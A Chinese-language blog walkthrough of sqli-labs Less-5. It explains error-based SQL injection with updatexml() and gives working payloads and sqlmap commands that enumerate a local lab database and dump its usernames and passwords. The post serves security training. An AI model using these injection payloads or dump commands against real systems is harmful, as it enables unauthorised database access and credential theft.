sqli-labs:Less-5關卡詳細解析

1. 思路🚀

本關的SQL語句為:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入類型:字符串型(單引號包裹)
  • 提示:參數id需以'閉合

但有意思的是,php代碼的輸出語句不是如下這種,這就導致無法像常規一樣回顯!

if($row)
{echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}

而是如下的代碼:

if($row)
{echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";
}

對于很多注入出現無回顯的情況,其原因可能是SQL語句查詢方式的問題導致,這就需要用到盲注的手段,常用的有:

  • 布爾盲注:邏輯判斷
  • 時間盲注:延時判斷
  • 報錯盲注:報錯回顯(本關卡解決方法)?

在這里插入圖片描述


2. 手工注入步驟🎯

我的地址欄是:http://localhost:8081/Less-5/,只需要將下面的sql語句粘貼即可。

2.1. 正常請求?

?id=1

在這里插入圖片描述

說明:測試回顯情況


2.2. 判斷字段數?

?id=1' order by 4 --+
  • order by 4:探測字段數(報錯說明字段數=3)

在這里插入圖片描述


2.3. 確定回顯位?

?id=1' and updatexml(1,(select database()),3) --+
  • updatexml 是 MySQL 的一個 XML 處理函數,但它常被用于 報錯注入(Error-Based Blind SQL Injection),因為它會在 XPath 解析錯誤時返回錯誤信息,從而泄露數據。

在這里插入圖片描述

2.3.1 為什么是這種寫法updatexml(1,(select database()),3) ?

想必會有疑惑,為什么下面的3種寫法,只使用第1種:

?id=1' and updatexml(1,(select database()),3) --+
?id=1' and updatexml(1,2,(select database())) --+
?id=1' and updatexml((select database()),2,3) --+

這就要從函數updatexml()自身入手,它的3個參數為:

updatexml(XML_document, XPath_expression, new_value)
參數數據類型作用在注入中的用途
1. XML_documentXML 字符串要修改的 XML 文檔通常設為 1 或任意值(無實際作用
2. XPath_expressionXPath 字符串用于定位 XML 節點的路徑關鍵參數:構造非法 XPath 觸發報錯
3. new_valueXML 字符串替換匹配節點的值通常設為 1 或任意值(無實際作用

這就是為什么只有將(select database())放在第2個位置才會起中用,因為放到其他位置不會觸發,起不了作用。

2.3.2 聯合查詢注入中id=-1 ,而報錯盲注中id=1?

我們來對比一下,聯合查詢注入和報錯注入的不同處:

?id=-1' union select 1,database(),user() --+?id=1' and updatexml(1,(select database()),3) --+

這是工作機制上的區別:

  • 聯合查詢注入要求 前一個查詢返回空結果,才能讓后續的 union 查詢結果顯示出來。如果前一個查詢有結果(如 id=1 存在),數據庫會優先顯示它的結果,而 union 部分的數據會被忽略。
  • 報錯注入依賴 SQL 語句執行并觸發錯誤,所以 前面的條件必須為真,否則整個語句不會執行。如果 id=-1 不存在,and 后面的 updatexml 就不會執行,也就不會報錯。

2.4. 獲取基礎信息

?id=1' and updatexml(1,concat(1,(select database())),3) --+

在這里插入圖片描述

2.4.1 updatexml函數的報錯機制是什么?
  1. updatexml 的報錯機制

    • updatexml() 在解析錯誤的 XPath 時,會返回 第一個非法字符開始的部分字符串
    • concat(1, (select database())) 生成 "1security" 時:
      • 1 是合法的 XPath 數字(不會觸發報錯)。
      • ssecurity 的第一個字母)是非法 XPath 字符,所以報錯從 s 開始截取。
  2. 為什么 1 沒有顯示

    • 1 是合法的 XPath 數字,不會觸發報錯,所以被忽略。
    • 報錯信息 只顯示第一個非法位置之后的內容(即 security)。
  3. 為什么推薦 0x7e~)?
    3.1. 確保觸發報錯~ 不是合法 XPath 字符,能強制從開頭報錯。
    3.2. 完整顯示數據:避免因前導數字/字母被忽略而丟失信息(如你的 1 被跳過)。
    3.3. 標準化注入:安全研究人員普遍使用 0x7e,讓報錯信息更統一。
    完整的輸出,可以改用:

    ?id=1' and updatexml(1, concat(0x7e,(select database()),0x7e), 3) --+
    

    報錯會顯示:
    XPATH syntax error: '~security~'


2.5. 獲取表名?

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) --+

在這里插入圖片描述


2.6. 獲取字段?

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) --+

在這里插入圖片描述


2.7. 獲取數據?

?id=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) --+

因為updatexml()函數最多顯示32位數據,建議使用concat()搭配limit + offset使用,例如limit n,1,n為起始位置。
在這里插入圖片描述


2.8. 參數匯總表?

參數作用示例
'閉合符號id=1'
--+注釋符--+
order by判斷字段數order by 4
updatexml()報錯注入函數updatexml(1,(select database()),3)
concat()字符串拼接函數concat('a','b')concat(1,(select database()))
group_concat()合并結果group_concat(table_name)
information_schema系統數據庫from information_schema.tables
table_schema數據庫名稱table_schema='security'
table_name數據表名稱table_name='users'
column_name字段名稱group_concat(column_name)

3. SQLMap工具測試🎯

url地址換成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-5/?id=1

# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-5/?id=1" --batch# 爆數據庫
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截圖:
在這里插入圖片描述

命令5截圖:
在這里插入圖片描述

SQLMap參數表?

參數功能
--batch非交互模式
--dbs枚舉數據庫
-D指定數據庫
-T指定表
-C指定列
--dump導出數據

4. 總結🏁

本文是關于報錯盲注的介紹與解析,內容詳細,記錄了我對于一些報錯盲注知識的認識。
如有不懂,關卡1的解析更為詳細(更為基礎),相信你會有收獲,sqli-labs:Less-1關卡詳細解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209


聲明:本文僅用于安全學習,嚴禁非法測試! ???

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/91609.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/91609.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/91609.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

標準項目-----網頁五子棋(4)-----游戲大廳+匹配+房間代碼

頁面實現 hall.html <!DOCTYPE html> <html lang"ch"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>游戲大廳</title><l…

MySQL分析步

MySQL分析 -- 庫名 set dbName bsa_crmeb_bak; -- 表名 set tableName bsa_crmeb_bak;-- 查看bsa_crmeb_bak數據庫基本信息 SELECTSCHEMA_NAME AS 數據庫名,DEFAULT_CHARACTER_SET_NAME AS 字符集,DEFAULT_COLLATION_NAME AS 排序規則 FROM information_schema.SCHEMATA WHER…

工程化(二):為什么你的下一個項目應該使用Monorepo?(pnpm / Lerna實戰)

工程化(二)&#xff1a;為什么你的下一個項目應該使用Monorepo&#xff1f;&#xff08;pnpm / Lerna實戰&#xff09; 引子&#xff1a;前端項目的“孤島困境” 隨著你的項目或團隊不斷成長&#xff0c;一個棘手的問題會逐漸浮現&#xff1a;代碼該如何組織&#xff1f; 最…

應用藥品注冊證識別技術,為醫藥行業的合規、高效與創新發展提供核心驅動力

在醫藥行業的龐雜數據海洋中&#xff0c;藥品注冊證&#xff08;如中國的“國藥準字”、美國的NDA/ANDA批號&#xff09;是藥品合法上市流通的“身份證”。面對海量的證書審核、錄入與驗證需求&#xff0c;傳統人工處理方式不僅效率低下、成本高昂&#xff0c;更易因疲勞導致差…

Spring Boot 2.1.18 集成 Elasticsearch 6.6.2 實戰指南

Spring Boot 2.1.18 集成 Elasticsearch 6.6.2 實戰指南前言&#xff1a;一. JAVA客戶端對比二. 導入數據2.1 分析創建索引2.2 代碼實現三. ElasticSearch 查詢3.1 matchAll 查詢3.2 term查詢3.3 match查詢3.4 模糊查詢3.5 范圍查詢3.6 字符串查詢3.7 布爾查詢3.8 分頁與排序3.…

向量投影計算,舉例說明

向量投影計算,舉例說明 向量投影是指將一個向量(設為向量b\mathbf{b}b)投射到另一個向量(設為向量a\mathbf{a}a)所在直線上,得到一個與a\mathbf{a}

如何在技術世界中保持清醒和高效

“抽象泄露&#xff0c;是存在的&#xff0c;但你需要了解多少&#xff0c;需要理解多深&#xff0c;這一點是因人而異的&#xff0c;絕對不是別人能夠建議的。每個人只會站在自己的立場上去建議別人怎么做。”在寫下這句話時&#xff0c;身為一個技術開發者&#xff0c;我似乎…

服裝公司數字化轉型如何做?

WL貿易集團公司&#xff08;以下簡稱WL&#xff09;自2012年成立以來&#xff0c;在十余年的發展歷程中不斷蛻變與升級。公司始終秉持“時尚與品質優先”的核心經營理念&#xff0c;通過嚴格執行高標準、嚴要求&#xff0c;牢牢把握產品品質與交貨周期兩大關鍵&#xff0c;贏得…

GM DC Monitor 之 銀河麒麟 Docker 部署安裝手冊

官方網站&#xff1a;www.gm-monitor.com 本手冊以銀河麒麟為例&#xff0c;介紹在 Linux 系統上安裝和配置DOCKER服務的詳細步驟 一、以root用戶執行以下操作命令 1、環境優化 modprobe br_netfilter cat <<EOF > /etc/sysctl.d/docker.conf net.bridge.bridge-n…

網絡編程接口bind學習

1、概述下面2個問題你會怎么回答呢?1、bind如果綁定0號端口&#xff0c;可以工作么&#xff0c;如果能正常工作&#xff0c;綁定的什么端口 2、客戶端可以調用bind么2、解析2.1、bind如果綁定0號端口&#xff0c;可以工作么&#xff0c;如果能正常工作&#xff0c;綁定的什么端…

FinOps X 2025 核心發布:AI 時代下的 FinOps 轉型

2025年&#xff0c;人工智能技術的突破性發展正深刻重塑商業與技術格局&#xff0c;智能技術已成為各領域創新的核心驅動力。在此背景下&#xff0c;FinOps X 2025 圍繞 AI 技術對財務運營&#xff08;FinOps&#xff09;的革新作用展開深度探討&#xff0c;重點呈現了以下關鍵…

使用Min-Max進行數據特征標準化

在數據處理過程中&#xff0c;標準化是非常重要的步驟之一&#xff0c;特別是在機器學習和數據分析中。Min-Max標準化&#xff08;也稱為歸一化&#xff09;是一種常用的數據標準化方法&#xff0c;它通過將數據縮放到一個指定的范圍&#xff08;通常是0到1之間&#xff09;&am…

【Dart 教程系列第 51 篇】Iterable 中 reduce 函數的用法

這是【Dart 教程系列第 51 篇】,如果覺得有用的話,歡迎關注專欄。 博文當前所用 Dart SDK:3.5.4 文章目錄 一:reduce 作用 二:舉例說明 1:求和 2:查找最大/最小值 3:字符串拼接 4:自定義對象合并 三:注意事項 一:reduce 作用 reduce 是 Iterable 的一個方法,用于…

使用VSCode配置Flutter

本周&#xff08;學期第四周&#xff09;任務&#xff1a; 1.簡單學習Flutter&#xff0c;完成環境安裝與配置 2.探索Flutter與Unity集成方案 一、Flutter環境配置 根據Flutter官方文檔進行環境配置&#xff1a;開發 Android 應用 | Flutter 中文文檔 - Flutter 中文開發者網…

React 開發中遇見的低級錯誤

1.useState不起效果 異步 改用 useRef2.map循環{ WechatQuestionnaireData && WechatQuestionnaireData?.questions?.map((item: any) > (<div className{styles[title]}>{item.questionTitle}</div>))}注意這里的 》 后面是括號 我開始寫成{} 好久…

iphone手機使用charles代理,chls.pro/ssl 后回車 提示瀏覽器打不開該網頁

iphone手機使用charles代理,chls.pro/ssl 后回車 提示瀏覽器打不開該網頁) 1、問題現狀&#xff1a; Charles安裝證書異常問題&#xff0c;網頁訪問chls.pro/ssl提示網頁打不開&#xff0c;在charles頁面有鏈接&#xff0c;可以看到http請求和https就是看不到詳細內容 2、解決方…

第11屆藍橋杯Python青少組_國賽_高級組_2020年10月真題

第11屆藍橋杯Python青少組_國賽_高級組_2020年10月真題 更多內容請查看網站&#xff1a;【試卷中心 -----> 藍橋杯----> Python ----> 國賽】 網站鏈接 青少年軟件編程歷年真題模擬題實時更新 一、選擇題 第 1 題 執行以下程序,輸出的結果是 ( )。 print( 0.1 …

如何處理Y2K38問題

一、什么是Y2K38問題Y2K38 問題&#xff0c;也稱為 2038年問題&#xff0c;是一個類似于Y2K問題的計算機日期處理問題。1、什么是Y2K38 問題&#xff1f;Y2K38 問題是指在計算機系統中&#xff0c;某些使用 32位有符號整數 來存儲時間的程序&#xff0c;將在 2038年1月19日03時…

LeetCode熱題100——146. LRU 緩存

https://leetcode.cn/problems/lru-cache/description/?envTypestudy-plan-v2&envIdtop-100-liked 請你設計并實現一個滿足 LRU (最近最少使用) 緩存 約束的數據結構。 實現 LRUCache 類&#xff1a; LRUCache(int capacity) 以 正整數 作為容量 capacity 初始化 LRU 緩…

一個Pycharm窗口添加多個項目來滿足運行多個項目的需求

需求&#xff1a;此前項目文件只有D:\pythonProject 現在進行了如下操作 同時顯示兩個文件夾D:\pythonProject D:\pythonProject-gh操作步驟如下&#xff1a;最終結果如圖所示